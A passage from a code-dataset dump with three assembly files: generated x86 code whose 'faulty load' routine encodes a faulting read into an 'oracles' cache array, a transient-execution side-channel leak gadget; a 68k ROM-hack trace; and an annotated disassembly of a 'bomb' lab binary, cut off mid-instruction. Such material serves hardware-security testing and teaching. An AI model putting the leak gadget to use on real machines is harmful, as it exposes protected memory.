(%r9)\ninc %rcx\nlea addresses_normal_ht+0xc41d, %rsi\nlea addresses_WC_ht+0x1b0fd, %rdi\nnop\nnop\nnop\nnop\nnop\nand %rax, %rax\nmov $35, %rcx\nrep movsw\nnop\nnop\ncmp $23736, %rcx\nlea addresses_D_ht+0x299d, %rsi\nlea addresses_WC_ht+0x35e6, %rdi\nnop\nnop\ncmp $33595, %rax\nmov $39, %rcx\nrep movsl\nnop\nnop\nnop\nnop\nnop\nxor %rbp, %rbp\npop %rsi\npop %rdx\npop %rdi\npop %rcx\npop %rbp\npop %rax\npop %r9\npop %r11\nret\n\n .global s_faulty_load\ns_faulty_load:\npush %r12\npush %r8\npush %rax\npush %rbp\npush %rbx\npush %rsi\n\n\/\/ Store\nlea addresses_A+0x16e1d, %rbx\nxor $32205, %rbp\nmov $0x5152535455565758, %r12\nmovq %r12, (%rbx)\nnop\nnop\nnop\nnop\nadd $10614, %r12\n\n\/\/ Faulty Load\nmov $0x1a8016000000061d, %r12\nand %rbx, %rbx\nvmovups (%r12), %ymm4\nvextracti128 $1, %ymm4, %xmm4\nvpextrq $0, %xmm4, %r8\nlea oracles, %rbp\nand $0xff, %r8\nshlq $12, %r8\nmov (%rbp,%r8,1), %r8\npop %rsi\npop %rbx\npop %rbp\npop %rax\npop %r8\npop %r12\nret\n\n\/*\n\n[REF]\n{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_NC', 'congruent': 0}}\n{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_A', 'congruent': 11}, 'OP': 'STOR'}\n[Faulty Load]\n{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_NC', 'congruent': 0}}\n\n{'dst': {'same': False, 'congruent': 3, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}}\n{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A_ht', 'congruent': 8}, 'OP': 'STOR'}\n{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WT_ht', 'congruent': 8}}\n{'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 1, 'type': 'addresses_WC_ht', 'congruent': 11}}\n{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_UC_ht', 'congruent': 1}}\n{'dst': {'same': True, 'NT': False, 'AVXalign': True, 'size': 16, 'type': 'addresses_UC_ht', 'congruent': 8}, 'OP': 'STOR'}\n{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC_ht', 'congruent': 7}, 'OP': 'STOR'}\n{'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_normal_ht'}}\n{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A_ht', 'congruent': 0}, 'OP': 'STOR'}\n{'dst': {'same': False, 'congruent': 5, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_normal_ht'}}\n{'dst': {'same': False, 'congruent': 0, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_D_ht'}}\n{'54': 9, '12': 1, '2e': 1, '00': 14, '03': 1, 'be': 1, '3a': 1, '53': 11, 'c2': 1, '60': 13652, 'af': 1, '82': 1, '96': 1, '86': 1, '46': 5589, '9a': 1, '0d': 1, 'b4': 1, '7a': 2, 'd7': 1, 'f6': 1, 'ca': 1, '06': 2536}\n00 60 46 06 60 60 60 60 46 46 06 06 60 60 60 60 46 60 46 60 60 60 60 60 60 60 60 60 60 46 60 60 46 60 06 06 60 60 60 46 60 60 60 60 60 60 60 60 46 46 60 06 06 60 60 60 46 60 46 60 46 60 60 46 46 60 60 46 46 60 46 46 46 60 46 60 46 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 ca 60 46 06 60 60 46 06 06 06 60 06 06 06 60 60 60 06 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 46 60 46 46 06 06 60 60 06 06 06 60 60 06 06 06 60 60 60 60 06 60 60 60 60 60 60 06 60 60 60 60 60 60 60 06 60 60 60 60 60 60 60 60 06 60 60 46 46 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 46 46 60 46 06 06 60 06 60 60 60 46 60 60 06 46 60 60 60 00 60 60 06 06 60 60 60 46 60 60 60 06 06 06 06 06 06 06 60 60 60 60 60 60 60 46 46 60 60 60 60 60 60 60 60 60 06 60 60 60 06 60 60 46 06 60 60 60 60 60 60 60 06 60 60 60 60 60 60 60 46 46 46 06 46 46 46 86 46 06 60 60 60 46 46 46 60 46 60 06 60 46 06 46 46 60 60 46 60 60 46 60 60 60 60 60 60 60 60 60 60 60 60 46 46 46 46 46 46 46 46 60 46 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 46 60 60 06 60 60 60 60 06 06 06 60 46 60 60 60 60 60 60 06 60 60 60 60 46 46 60 60 46 60 60 46 60 60 60 60 46 60 60 60 60 46 60 60 46 60 60 46 06 60 60 60 60 46 60 46 60 60 06 06 06 60 60 06 60 06 06 60 60 06 06 06 60 60 60 06 46 46 46 06 06 46 60 60 06 46 46 60 06 46 46 60 60 60 60 60 60 60 60 06 46 60 60 06 06 06 06 06 60 60 06 06 60 06 60 06 06 60 06 06 60 06 60 06 06 46 46 00 46 46 46 60 46 60 60 60 60 60 60 60 60 60 60 06 46 46 60 60 60 60 60 60 06 06 46 46 46 60 60 60 60 60 06 60 60 60 60 46 60 46 60 60 60 60 60 60 06 60 46 60 60 60 06 60 60 60 60 60 60 06 46 60 60 46 46 60 46 60 46 06 60 06 60 60 60 46 46 46 60 46 46 60 60 46 46 46 46 46 60 46 60 46 60 60 60 60 60 60 60 60 60 60 46 60 60 46 46 60 06 60 46 60 60 46 46 60 60 60 06 06 06 46 46 60 60 46 46 46 46 60 60 60 60 60 60 60 60 60 60 60 60 60 60 46 60 60 60 60 06 60 60 60 46 46 60 60 06 60 60 60 60 60 60 60 60 60 06 60 60 46 60 60 46 46 46 60 46 46 60 60 60 60 60 60 60 60 46 46 46 46 60 46 60 60 60 60 46 06 60 60 60 60 60 60 60 46 60 06 60 60 60 60 60 46 46 46 60 46 46 60 60 60 60 60 06 60 60 60 60 60 46 46 60 60 60 60 60 46 46 46 46 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 06 60 60 60 06 46 46 46 46 60 60 60 60 46 46 46 60 46 60 60 60 60 60 60 60 60 06 60 46 60 60 60 46 46 46 46 46 46 60 46 46 46 60 46 46 60 46 60 60 06 60 60 60 60 60 60 60 60 60 06 60 60 60 60 06 06 06 06 06 60 60 60 60 06 06 46 60 60 60 60 06 60 60 60 06 60 60 46 60 46 60 60 60 60 60 53 60 60 46 60 60 60 46 60 60 60 46 60 46 46 46 46 06 46 46 46 60 46 46 46 60 46 06 46 60 06 06 46 46 46 46 60 60 60 60 60 60 60 60 60 06 06 46 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 46 60 60 60 46 54 60 46 60 60 60 60 60 46 60 60 60 60 60 60 60 60 60 46 60 60 60 46 46 60 46 60 46 60 60 46 46 60 60 06 60 60 46 60 60 60 46 60 60 46 60 60 60 06 60 46 46 60 06 06 60 60 60 60 60 60 06 60 60 60 60 60 60 46 46 46 46 46 46 46 60 46 46 60 60 60 46 60 60 60 46 60 46 60 46 60 60 46 60 46 60 46 60 60 60 60 60\n*\/\n","avg_line_length":36.328358209,"max_line_length":2999,"alphanum_fraction":0.6505067105} {"size":2031,"ext":"asm","lang":"Assembly","max_stars_count":6.0,"content":"copyright\tzengfr\tsite:http:\/\/github.com\/zengfr\/romhack\n\n00042A\tmove.l D1, (A0)+\t\t\n00042C\tdbra D0, $42a\t\t\n09CFCC\tclr.l (A1)+\t\t\n09CFCE\tdbra D0, $9cfcc\t\t\n09D4F2\tmove.b ($2,A0), D1\t\t\n09D4F6\tlsl.b #1, D1\t\t[base+49C]\n09D51E\tmove.b D1, ($2,A0)\t\t\n09D522\ttst.b ($0,A0)\t\t[base+47C, base+48C, base+49C]\n09D542\tmove.b ($2,A0), D0\t\t\n09D546\tbeq $9d59e\t\t[base+47C, base+48C, base+49C]\n0AAACA\tmove.l (A0), D2\t\t\n0AAACC\tmove.w D0, (A0)\t\t[123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]\n0AAACE\tmove.w D0, ($2,A0)\t\t\n0AAAD2\tcmp.l (A0), D0\t\t\n0AAAD4\tbne $aaafc\t\t\n0AAAD8\tmove.l D2, (A0)+\t\t\n0AAADA\tcmpa.l A0, A1\t\t[123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]\n0AAAE6\tmove.l (A0), D2\t\t\n0AAAE8\tmove.w D0, (A0)\t\t[123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]\n0AAAF4\tmove.l D2, (A0)+\t\t\n0AAAF6\tcmpa.l A0, A1\t\t[123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]\ncopyright\tzengfr\tsite:http:\/\/github.com\/zengfr\/romhack\n\n","avg_line_length":78.1153846154,"max_line_length":350,"alphanum_fraction":0.6627277203} {"size":89507,"ext":"asm","lang":"Assembly","max_stars_count":null,"content":"\nbomb: file format elf64-x86-64\n\n\nDisassembly of section .init:\n\n0000000000400ac0 <_init>:\n 400ac0:\t48 83 ec 08 \tsub $0x8,%rsp\n 400ac4:\te8 f3 01 00 00 \tcallq 400cbc \n 400ac9:\t48 83 c4 08 \tadd $0x8,%rsp\n 400acd:\tc3 \tretq \n\nDisassembly of section .plt:\n\n0000000000400ad0 <.plt>:\n 400ad0:\tff 35 1a 25 20 00 \tpushq 0x20251a(%rip) # 602ff0 <_GLOBAL_OFFSET_TABLE_+0x8>\n 400ad6:\tff 25 1c 25 20 00 \tjmpq *0x20251c(%rip) # 602ff8 <_GLOBAL_OFFSET_TABLE_+0x10>\n 400adc:\t0f 1f 40 00 \tnopl 0x0(%rax)\n\n0000000000400ae0 :\n 400ae0:\tff 25 1a 25 20 00 \tjmpq *0x20251a(%rip) # 603000 \n 400ae6:\t68 00 00 00 00 \tpushq $0x0\n 400aeb:\te9 e0 ff ff ff \tjmpq 400ad0 <.plt>\n\n0000000000400af0 <__errno_location@plt>:\n 400af0:\tff 25 12 25 20 00 \tjmpq *0x202512(%rip) # 603008 <__errno_location@GLIBC_2.2.5>\n 400af6:\t68 01 00 00 00 \tpushq $0x1\n 400afb:\te9 d0 ff ff ff \tjmpq 400ad0 <.plt>\n\n0000000000400b00 :\n 400b00:\tff 25 0a 25 20 00 \tjmpq *0x20250a(%rip) # 603010 \n 400b06:\t68 02 00 00 00 \tpushq $0x2\n 400b0b:\te9 c0 ff ff ff \tjmpq 400ad0 <.plt>\n\n0000000000400b10 :\n 400b10:\tff 25 02 25 20 00 \tjmpq *0x202502(%rip) # 603018 \n 400b16:\t68 03 00 00 00 \tpushq $0x3\n 400b1b:\te9 b0 ff ff ff \tjmpq 400ad0 <.plt>\n\n0000000000400b20 :\n 400b20:\tff 25 fa 24 20 00 \tjmpq *0x2024fa(%rip) # 603020 \n 400b26:\t68 04 00 00 00 \tpushq $0x4\n 400b2b:\te9 a0 ff ff ff \tjmpq 400ad0 <.plt>\n\n0000000000400b30 <__stack_chk_fail@plt>:\n 400b30:\tff 25 f2 24 20 00 \tjmpq *0x2024f2(%rip) # 603028 <__stack_chk_fail@GLIBC_2.4>\n 400b36:\t68 05 00 00 00 \tpushq $0x5\n 400b3b:\te9 90 ff ff ff \tjmpq 400ad0 <.plt>\n\n0000000000400b40 :\n 400b40:\tff 25 ea 24 20 00 \tjmpq *0x2024ea(%rip) # 603030 \n 400b46:\t68 06 00 00 00 \tpushq $0x6\n 400b4b:\te9 80 ff ff ff \tjmpq 400ad0 <.plt>\n\n0000000000400b50 :\n 400b50:\tff 25 e2 24 20 00 \tjmpq *0x2024e2(%rip) # 603038 \n 400b56:\t68 07 00 00 00 \tpushq $0x7\n 400b5b:\te9 70 ff ff ff \tjmpq 400ad0 <.plt>\n\n0000000000400b60 :\n 400b60:\tff 25 da 24 20 00 \tjmpq *0x2024da(%rip) # 603040 \n 400b66:\t68 08 00 00 00 \tpushq $0x8\n 400b6b:\te9 60 ff ff ff \tjmpq 400ad0 <.plt>\n\n0000000000400b70 <__libc_start_main@plt>:\n 400b70:\tff 25 d2 24 20 00 \tjmpq *0x2024d2(%rip) # 603048 <__libc_start_main@GLIBC_2.2.5>\n 400b76:\t68 09 00 00 00 \tpushq $0x9\n 400b7b:\te9 50 ff ff ff \tjmpq 400ad0 <.plt>\n\n0000000000400b80 :\n 400b80:\tff 25 ca 24 20 00 \tjmpq *0x2024ca(%rip) # 603050 \n 400b86:\t68 0a 00 00 00 \tpushq $0xa\n 400b8b:\te9 40 ff ff ff \tjmpq 400ad0 <.plt>\n\n0000000000400b90 :\n 400b90:\tff 25 c2 24 20 00 \tjmpq *0x2024c2(%rip) # 603058 \n 400b96:\t68 0b 00 00 00 \tpushq $0xb\n 400b9b:\te9 30 ff ff ff \tjmpq 400ad0 <.plt>\n\n0000000000400ba0 :\n 400ba0:\tff 25 ba 24 20 00 \tjmpq *0x2024ba(%rip) # 603060 \n 400ba6:\t68 0c 00 00 00 \tpushq $0xc\n 400bab:\te9 20 ff ff ff \tjmpq 400ad0 <.plt>\n\n0000000000400bb0 <__memmove_chk@plt>:\n 400bb0:\tff 25 b2 24 20 00 \tjmpq *0x2024b2(%rip) # 603068 <__memmove_chk@GLIBC_2.3.4>\n 400bb6:\t68 0d 00 00 00 \tpushq $0xd\n 400bbb:\te9 10 ff ff ff \tjmpq 400ad0 <.plt>\n\n0000000000400bc0 <__memcpy_chk@plt>:\n 400bc0:\tff 25 aa 24 20 00 \tjmpq *0x2024aa(%rip) # 603070 <__memcpy_chk@GLIBC_2.3.4>\n 400bc6:\t68 0e 00 00 00 \tpushq $0xe\n 400bcb:\te9 00 ff ff ff \tjmpq 400ad0 <.plt>\n\n0000000000400bd0 :\n 400bd0:\tff 25 a2 24 20 00 \tjmpq *0x2024a2(%rip) # 603078 \n 400bd6:\t68 0f 00 00 00 \tpushq $0xf\n 400bdb:\te9 f0 fe ff ff \tjmpq 400ad0 <.plt>\n\n0000000000400be0 :\n 400be0:\tff 25 9a 24 20 00 \tjmpq *0x20249a(%rip) # 603080 \n 400be6:\t68 10 00 00 00 \tpushq $0x10\n 400beb:\te9 e0 fe ff ff \tjmpq 400ad0 <.plt>\n\n0000000000400bf0 <__isoc99_sscanf@plt>:\n 400bf0:\tff 25 92 24 20 00 \tjmpq *0x202492(%rip) # 603088 <__isoc99_sscanf@GLIBC_2.7>\n 400bf6:\t68 11 00 00 00 \tpushq $0x11\n 400bfb:\te9 d0 fe ff ff \tjmpq 400ad0 <.plt>\n\n0000000000400c00 <__printf_chk@plt>:\n 400c00:\tff 25 8a 24 20 00 \tjmpq *0x20248a(%rip) # 603090 <__printf_chk@GLIBC_2.3.4>\n 400c06:\t68 12 00 00 00 \tpushq $0x12\n 400c0b:\te9 c0 fe ff ff \tjmpq 400ad0 <.plt>\n\n0000000000400c10 :\n 400c10:\tff 25 82 24 20 00 \tjmpq *0x202482(%rip) # 603098 \n 400c16:\t68 13 00 00 00 \tpushq $0x13\n 400c1b:\te9 b0 fe ff ff \tjmpq 400ad0 <.plt>\n\n0000000000400c20 :\n 400c20:\tff 25 7a 24 20 00 \tjmpq *0x20247a(%rip) # 6030a0 \n 400c26:\t68 14 00 00 00 \tpushq $0x14\n 400c2b:\te9 a0 fe ff ff \tjmpq 400ad0 <.plt>\n\n0000000000400c30 :\n 400c30:\tff 25 72 24 20 00 \tjmpq *0x202472(%rip) # 6030a8 \n 400c36:\t68 15 00 00 00 \tpushq $0x15\n 400c3b:\te9 90 fe ff ff \tjmpq 400ad0 <.plt>\n\n0000000000400c40 <__fprintf_chk@plt>:\n 400c40:\tff 25 6a 24 20 00 \tjmpq *0x20246a(%rip) # 6030b0 <__fprintf_chk@GLIBC_2.3.4>\n 400c46:\t68 16 00 00 00 \tpushq $0x16\n 400c4b:\te9 80 fe ff ff \tjmpq 400ad0 <.plt>\n\n0000000000400c50 :\n 400c50:\tff 25 62 24 20 00 \tjmpq *0x202462(%rip) # 6030b8 \n 400c56:\t68 17 00 00 00 \tpushq $0x17\n 400c5b:\te9 70 fe ff ff \tjmpq 400ad0 <.plt>\n\n0000000000400c60 <__ctype_b_loc@plt>:\n 400c60:\tff 25 5a 24 20 00 \tjmpq *0x20245a(%rip) # 6030c0 <__ctype_b_loc@GLIBC_2.3>\n 400c66:\t68 18 00 00 00 \tpushq $0x18\n 400c6b:\te9 60 fe ff ff \tjmpq 400ad0 <.plt>\n\n0000000000400c70 <__sprintf_chk@plt>:\n 400c70:\tff 25 52 24 20 00 \tjmpq *0x202452(%rip) # 6030c8 <__sprintf_chk@GLIBC_2.3.4>\n 400c76:\t68 19 00 00 00 \tpushq $0x19\n 400c7b:\te9 50 fe ff ff \tjmpq 400ad0 <.plt>\n\n0000000000400c80 :\n 400c80:\tff 25 4a 24 20 00 \tjmpq *0x20244a(%rip) # 6030d0 \n 400c86:\t68 1a 00 00 00 \tpushq $0x1a\n 400c8b:\te9 40 fe ff ff \tjmpq 400ad0 <.plt>\n\nDisassembly of section .text:\n\n0000000000400c90 <_start>:\n 400c90:\t31 ed \txor %ebp,%ebp\n 400c92:\t49 89 d1 \tmov %rdx,%r9\n 400c95:\t5e \tpop %rsi\n 400c96:\t48 89 e2 \tmov %rsp,%rdx\n 400c99:\t48 83 e4 f0 \tand $0xfffffffffffffff0,%rsp\n 400c9d:\t50 \tpush %rax\n 400c9e:\t54 \tpush %rsp\n 400c9f:\t49 c7 c0 a0 22 40 00 \tmov $0x4022a0,%r8\n 400ca6:\t48 c7 c1 10 22 40 00 \tmov $0x402210,%rcx\n 400cad:\t48 c7 c7 a0 0d 40 00 \tmov $0x400da0,%rdi\n 400cb4:\te8 b7 fe ff ff \tcallq 400b70 <__libc_start_main@plt>\n 400cb9:\tf4 \thlt \n 400cba:\t90 \tnop\n 400cbb:\t90 \tnop\n\n0000000000400cbc :\n 400cbc:\t48 83 ec 08 \tsub $0x8,%rsp\n 400cc0:\t48 8b 05 19 23 20 00 \tmov 0x202319(%rip),%rax # 602fe0 <__gmon_start__>\n 400cc7:\t48 85 c0 \ttest %rax,%rax\n 400cca:\t74 02 \tje 400cce \n 400ccc:\tff d0 \tcallq *%rax\n 400cce:\t48 83 c4 08 \tadd $0x8,%rsp\n 400cd2:\tc3 \tretq \n 400cd3:\t90 \tnop\n 400cd4:\t90 \tnop\n 400cd5:\t90 \tnop\n 400cd6:\t90 \tnop\n 400cd7:\t90 \tnop\n 400cd8:\t90 \tnop\n 400cd9:\t90 \tnop\n 400cda:\t90 \tnop\n 400cdb:\t90 \tnop\n 400cdc:\t90 \tnop\n 400cdd:\t90 \tnop\n 400cde:\t90 \tnop\n 400cdf:\t90 \tnop\n\n0000000000400ce0 :\n 400ce0:\tb8 47 37 60 00 \tmov $0x603747,%eax\n 400ce5:\t55 \tpush %rbp\n 400ce6:\t48 2d 40 37 60 00 \tsub $0x603740,%rax\n 400cec:\t48 83 f8 0e \tcmp $0xe,%rax\n 400cf0:\t48 89 e5 \tmov %rsp,%rbp\n 400cf3:\t77 02 \tja 400cf7 \n 400cf5:\t5d \tpop %rbp\n 400cf6:\tc3 \tretq \n 400cf7:\tb8 00 00 00 00 \tmov $0x0,%eax\n 400cfc:\t48 85 c0 \ttest %rax,%rax\n 400cff:\t74 f4 \tje 400cf5 \n 400d01:\t5d \tpop %rbp\n 400d02:\tbf 40 37 60 00 \tmov $0x603740,%edi\n 400d07:\tff e0 \tjmpq *%rax\n 400d09:\t0f 1f 80 00 00 00 00 \tnopl 0x0(%rax)\n\n0000000000400d10 :\n 400d10:\tb8 40 37 60 00 \tmov $0x603740,%eax\n 400d15:\t55 \tpush %rbp\n 400d16:\t48 2d 40 37 60 00 \tsub $0x603740,%rax\n 400d1c:\t48 c1 f8 03 \tsar $0x3,%rax\n 400d20:\t48 89 e5 \tmov %rsp,%rbp\n 400d23:\t48 89 c2 \tmov %rax,%rdx\n 400d26:\t48 c1 ea 3f \tshr $0x3f,%rdx\n 400d2a:\t48 01 d0 \tadd %rdx,%rax\n 400d2d:\t48 d1 f8 \tsar %rax\n 400d30:\t75 02 \tjne 400d34 \n 400d32:\t5d \tpop %rbp\n 400d33:\tc3 \tretq \n 400d34:\tba 00 00 00 00 \tmov $0x0,%edx\n 400d39:\t48 85 d2 \ttest %rdx,%rdx\n 400d3c:\t74 f4 \tje 400d32 \n 400d3e:\t5d \tpop %rbp\n 400d3f:\t48 89 c6 \tmov %rax,%rsi\n 400d42:\tbf 40 37 60 00 \tmov $0x603740,%edi\n 400d47:\tff e2 \tjmpq *%rdx\n 400d49:\t0f 1f 80 00 00 00 00 \tnopl 0x0(%rax)\n\n0000000000400d50 <__do_global_dtors_aux>:\n 400d50:\t80 3d 01 2a 20 00 00 \tcmpb $0x0,0x202a01(%rip) # 603758 \n 400d57:\t75 11 \tjne 400d6a <__do_global_dtors_aux+0x1a>\n 400d59:\t55 \tpush %rbp\n 400d5a:\t48 89 e5 \tmov %rsp,%rbp\n 400d5d:\te8 7e ff ff ff \tcallq 400ce0 \n 400d62:\t5d \tpop %rbp\n 400d63:\tc6 05 ee 29 20 00 01 \tmovb $0x1,0x2029ee(%rip) # 603758 \n 400d6a:\tf3 c3 \trepz retq \n 400d6c:\t0f 1f 40 00 \tnopl 0x0(%rax)\n\n0000000000400d70 :\n 400d70:\t48 83 3d 90 20 20 00 \tcmpq $0x0,0x202090(%rip) # 602e08 <__JCR_END__>\n 400d77:\t00 \n 400d78:\t74 1e \tje 400d98 \n 400d7a:\tb8 00 00 00 00 \tmov $0x0,%eax\n 400d7f:\t48 85 c0 \ttest %rax,%rax\n 400d82:\t74 14 \tje 400d98 \n 400d84:\t55 \tpush %rbp\n 400d85:\tbf 08 2e 60 00 \tmov $0x602e08,%edi\n 400d8a:\t48 89 e5 \tmov %rsp,%rbp\n 400d8d:\tff d0 \tcallq *%rax\n 400d8f:\t5d \tpop %rbp\n 400d90:\te9 7b ff ff ff \tjmpq 400d10 \n 400d95:\t0f 1f 00 \tnopl (%rax)\n 400d98:\te9 73 ff ff ff \tjmpq 400d10 \n 400d9d:\t90 \tnop\n 400d9e:\t90 \tnop\n 400d9f:\t90 \tnop\n\n0000000000400da0
:\n 400da0:\t53 \tpush %rbx\n 400da1:\t83 ff 01 \tcmp $0x1,%edi\n 400da4:\t75 10 \tjne 400db6 \n 400da6:\t48 8b 05 9b 29 20 00 \tmov 0x20299b(%rip),%rax # 603748 \n 400dad:\t48 89 05 b4 29 20 00 \tmov %rax,0x2029b4(%rip) # 603768 \n 400db4:\teb 63 \tjmp 400e19 \n 400db6:\t48 89 f3 \tmov %rsi,%rbx\n 400db9:\t83 ff 02 \tcmp $0x2,%edi\n 400dbc:\t75 3a \tjne 400df8 \n 400dbe:\t48 8b 7e 08 \tmov 0x8(%rsi),%rdi\n 400dc2:\tbe b4 22 40 00 \tmov $0x4022b4,%esi\n 400dc7:\te8 44 fe ff ff \tcallq 400c10 \n 400dcc:\t48 89 05 95 29 20 00 \tmov %rax,0x202995(%rip) # 603768 \n 400dd3:\t48 85 c0 \ttest %rax,%rax\n 400dd6:\t75 41 \tjne 400e19 \n 400dd8:\t48 8b 4b 08 \tmov 0x8(%rbx),%rcx\n 400ddc:\t48 8b 13 \tmov (%rbx),%rdx\n 400ddf:\tbe b6 22 40 00 \tmov $0x4022b6,%esi\n 400de4:\tbf 01 00 00 00 \tmov $0x1,%edi\n 400de9:\te8 12 fe ff ff \tcallq 400c00 <__printf_chk@plt>\n 400dee:\tbf 08 00 00 00 \tmov $0x8,%edi\n 400df3:\te8 28 fe ff ff \tcallq 400c20 \n 400df8:\t48 8b 16 \tmov (%rsi),%rdx\n 400dfb:\tbe d3 22 40 00 \tmov $0x4022d3,%esi\n 400e00:\tbf 01 00 00 00 \tmov $0x1,%edi\n 400e05:\tb8 00 00 00 00 \tmov $0x0,%eax\n 400e0a:\te8 f1 fd ff ff \tcallq 400c00 <__printf_chk@plt>\n 400e0f:\tbf 08 00 00 00 \tmov $0x8,%edi\n 400e14:\te8 07 fe ff ff \tcallq 400c20 \n 400e19:\te8 84 05 00 00 \tcallq 4013a2 \n 400e1e:\tbf 38 23 40 00 \tmov $0x402338,%edi\n 400e23:\te8 e8 fc ff ff \tcallq 400b10 \n 400e28:\tbf 78 23 40 00 \tmov $0x402378,%edi\n 400e2d:\te8 de fc ff ff \tcallq 400b10 \n 400e32:\te8 67 06 00 00 \tcallq 40149e \n 400e37:\t48 89 c7 \tmov %rax,%rdi\n 400e3a:\te8 a1 00 00 00 \tcallq 400ee0 \n 400e3f:\te8 80 07 00 00 \tcallq 4015c4 \n 400e44:\tbf a8 23 40 00 \tmov $0x4023a8,%edi\n 400e49:\te8 c2 fc ff ff \tcallq 400b10 \n 400e4e:\te8 4b 06 00 00 \tcallq 40149e \n 400e53:\t48 89 c7 \tmov %rax,%rdi\n 400e56:\te8 a1 00 00 00 \tcallq 400efc \n 400e5b:\te8 64 07 00 00 \tcallq 4015c4 \n 400e60:\tbf ed 22 40 00 \tmov $0x4022ed,%edi\n 400e65:\te8 a6 fc ff ff \tcallq 400b10 \n 400e6a:\te8 2f 06 00 00 \tcallq 40149e \n 400e6f:\t48 89 c7 \tmov %rax,%rdi\n 400e72:\te8 cc 00 00 00 \tcallq 400f43 \n 400e77:\te8 48 07 00 00 \tcallq 4015c4 \n 400e7c:\tbf 0b 23 40 00 \tmov $0x40230b,%edi\n 400e81:\te8 8a fc ff ff \tcallq 400b10 \n 400e86:\te8 13 06 00 00 \tcallq 40149e \n 400e8b:\t48 89 c7 \tmov %rax,%rdi\n 400e8e:\te8 79 01 00 00 \tcallq 40100c \n 400e93:\te8 2c 07 00 00 \tcallq 4015c4 \n 400e98:\tbf d8 23 40 00 \tmov $0x4023d8,%edi\n 400e9d:\te8 6e fc ff ff \tcallq 400b10 \n 400ea2:\te8 f7 05 00 00 \tcallq 40149e \n 400ea7:\t48 89 c7 \tmov %rax,%rdi\n 400eaa:\te8 b3 01 00 00 \tcallq 401062 \n 400eaf:\te8 10 07 00 00 \tcallq 4015c4 \n 400eb4:\tbf 1a 23 40 00 \tmov $0x40231a,%edi\n 400eb9:\te8 52 fc ff ff \tcallq 400b10 \n 400ebe:\te8 db 05 00 00 \tcallq 40149e \n 400ec3:\t48 89 c7 \tmov %rax,%rdi\n 400ec6:\te8 29 02 00 00 \tcallq 4010f4 \n 400ecb:\te8 f4 06 00 00 \tcallq 4015c4 \n 400ed0:\tb8 00 00 00 00 \tmov $0x0,%eax\n 400ed5:\t5b \tpop %rbx\n 400ed6:\tc3 \tretq \n 400ed7:\t90 \tnop\n 400ed8:\t90 \tnop\n 400ed9:\t90 \tnop\n 400eda:\t90 \tnop\n 400edb:\t90 \tnop\n 400edc:\t90 \tnop\n 400edd:\t90 \tnop\n 400ede:\t90 \tnop\n 400edf:\t90 \tnop\n\n0000000000400ee0 :\n 400ee0:\t48 83 ec 08 \tsub $0x8,%rsp\n 400ee4:\tbe 00 24 40 00 \tmov $0x402400,%esi\n 400ee9:\te8 4a 04 00 00 \tcallq 401338 # make (rdi) == (rsi)\n 400eee:\t85 c0 \ttest %eax,%eax # make eax == 0 to defuse\n 400ef0:\t74 05 \tje 400ef7 \n 400ef2:\te8 43 05 00 00 \tcallq 40143a \n 400ef7:\t48 83 c4 08 \tadd $0x8,%rsp\n 400efb:\tc3 \tretq \n\n0000000000400efc :\n 400efc:\t55 \tpush %rbp\n 400efd:\t53 \tpush %rbx\n 400efe:\t48 83 ec 28 \tsub $0x28,%rsp # allocate 40\n 400f02:\t48 89 e6 \tmov %rsp,%rsi # rsi = rsp\n 400f05:\te8 52 05 00 00 \tcallq 40145c # \n 400f0a:\t83 3c 24 01 \tcmpl 